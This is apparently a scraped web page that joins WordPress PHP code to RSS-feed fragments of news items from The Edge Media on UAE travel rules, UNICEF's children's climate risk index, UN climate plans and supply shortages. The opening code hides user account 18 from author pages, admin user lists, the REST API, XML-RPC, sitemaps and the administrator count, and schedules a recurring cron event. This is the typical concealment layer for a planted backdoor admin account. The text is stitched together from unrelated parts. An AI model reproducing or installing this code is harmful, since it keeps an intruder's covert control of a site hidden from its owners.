add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post UAE lifts restrictions on entry for residents from India and other countries appeared first on The Edge Media.
]]>It has also allowed residents from Pakistan, Bangladesh, Nepal, Sri Lanka, Vietnam, Namibia, Zambia, Democratic Republic of Congo, Uganda, Sierra Leone, Liberia, South Africa, Nigeria and Afghanistan as well to fly into the UAE from September 12.
Dubai is due to open the Expo 2020 World Fair on October 1, for which it has been preparing for almost a decade, after a year-long delay due to the pandemic. The nation which is a regional business and tourism hub is relying on Expo 2020 World Fair to give its economy a boost.
The organisers said they expected that the remaining flight restrictions imposed by the government will be lifted in time for Expo 2020. The UAE’s National Emergency Crisis and Disaster Management Authority on Twitter however said that approval needs to be sought from the government and various PCR tests will be conducted before entering the country.
The post UAE lifts restrictions on entry for residents from India and other countries appeared first on The Edge Media.
]]>The post India among four South Asian countries where children are most at risk of the impacts of climate change appeared first on The Edge Media.
]]>”The Climate Crisis Is a Child Rights Crisis: Introducing the Children’s Climate Risk Index” (CCRI) is UNICEF’s first focussed on children. It ranks countries based on children’s exposure to climate and environmental shocks such as cyclones and heatwaves, as well as their vulnerability to those shocks based on their access to essential services.
Pakistan, Bangladesh, Afghanistan and India are among four South Asian countries where children are at extremely high risk of the impacts of the climate crisis, with a ranking of 14th, 15th, 25th and 26th respectively.
CCRI has placed India as one of the 33 extremely high-risk countries with flooding and air pollution being the repeated environmental shocks leading to socio-economic adverse consequences for women and children.
Approximately 1 billion children live in one of the 33 countries classified as “extremely high-risk”, including the four South Asian countries.
It is estimated that more than 600 million Indians will face ”acute water shortages” in the coming years, while at the same time flash flooding is to increase significantly in the majority of India’s urban areas once the global temperature increase rises above 2 degree Celsius. Twenty-one of the world’s 30 cities with the most polluted air in 2020 were in India.
Dr Yasmin Ali Haque, UNICEF India Representative, said, “Climate change is a child rights crisis. The Children’s Climate Change Index data has pointed to the serious deprivations faced by children due to the intensifying effect that climate and environmental shocks have on existing inadequate access to essential services such as water and sanitation, healthcare and education.”
“Understanding where and how children are uniquely vulnerable to this crisis is crucial to building our resilience and effectively addressing climate change. UNICEF hopes the findings of the report will help prioritize action to protect those most at risk and to ensure that children inherit a livable planet.”
India’s neighbours Nepal is ranked 51st and Sri Lanka 61st. Bhutan is ranked 111th, with children at relatively lower risk.
For the first time, we have clear evidence of the impact of climate change on millions of children in South Asia. Droughts, floods, air pollution and river erosion across the region have left millions of children homeless and hungry, and without any healthcare and water,” said George Laryea-Adjei, UNICEF Regional Director for South Asia.
“Together, climate change and the COVID-19 pandemic have created an alarming crisis for South Asian children. The time to act is now – if we invest in water, healthcare and education, we can protect their futures from the impacts of a changing climate and degrading environment,” Laryea-Adjei said.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post India among four South Asian countries where children are most at risk of the impacts of climate change appeared first on The Edge Media.
]]>The post Countries need to be more ambitious to tame climate change : UN climate chief appeared first on The Edge Media.
]]>Only just over half of countries that are party to the accord have submitted updated proposals for limiting their carbon emissions, Patricia Espinosa said in a statement.
And “the level of ambition reflected in those national climate action plans also needs to be enhanced,” she said
The Paris Agreement is a legally binding international treaty on climate change that was adopted by 196 countries in December 2015 with the aim of limiting global warming to well below 2 degrees Celsius and preferably to 1.5C, compared to pre-industrial levels.
Under the accord, every participating country originally had until the end of 2020 to submit new or updated “nationally determined contributions” or “NDCs”.
But because of the global coronavirus pandemic and the postponement of the COP26 climate conference in Glasgow to November 2021, a number of governments said they would be unable to meet the deadline.
By the new cut-off date on Friday, “the secretariat (had) received new or updated NDCs from 110 parties,” Espinosa said, including the United States, which came back into the Paris Agreement after former president Donald Trump pulled out.
“This compares favourably with new or updated NDCs from 75 parties received up to the end of December 2020… but it is still far from satisfactory, since only a little over half the Parties (54 percent) have met the cut-off deadline.”
The Intergovernmental Panel on Climate Change (IPCC) has indicated that by the end of this decade, emissions must have been reduced by at least 45 percent compared to 2010 levels
Recent extreme heat waves, droughts and floods across the globe are a dire warning that much more needs to be done, and much more quickly, to change our current pathway. This can only be achieved through more ambitious NDCs,” Espinosa said.
The post Countries need to be more ambitious to tame climate change : UN climate chief appeared first on The Edge Media.
]]>The post India alone among 51 countries to skip the London Climate Meet. appeared first on The Edge Media.
]]>India was the only one of 51 invited countries that didn’t attend a two-day ministerial meeting in the U.K capital, hosted by the incoming president of the COP26 United Nations talks, according to people present at the Summit who asked not to be named.
The conference was designed to lay the groundwork for a successful COP26 , which is due to take place in Glasgow in three months’ time.
Gravure Khare, a spokesperson for India’s Ministry of Environment , Forest and Climate Change, said the government had decided against attending in person as the country had already made its views known at the G-20 in Naples , then technical issues prevented its from taking part virtually.
The post India alone among 51 countries to skip the London Climate Meet. appeared first on The Edge Media.
]]>The post The global economy declining at a rapid rate for almost everything appeared first on The Edge Media.
]]>The difference between last year and this year is that the disordering of the supplies is the thorough magnitude. As far as anyone can tell, there is no clear end in sight. Only a few companies are left, be it big or small. Right now, California is dealing with lack of Aluminium and later on many countries are bound to face the scarcity of the raw materials.
The post The global economy declining at a rapid rate for almost everything appeared first on The Edge Media.
]]>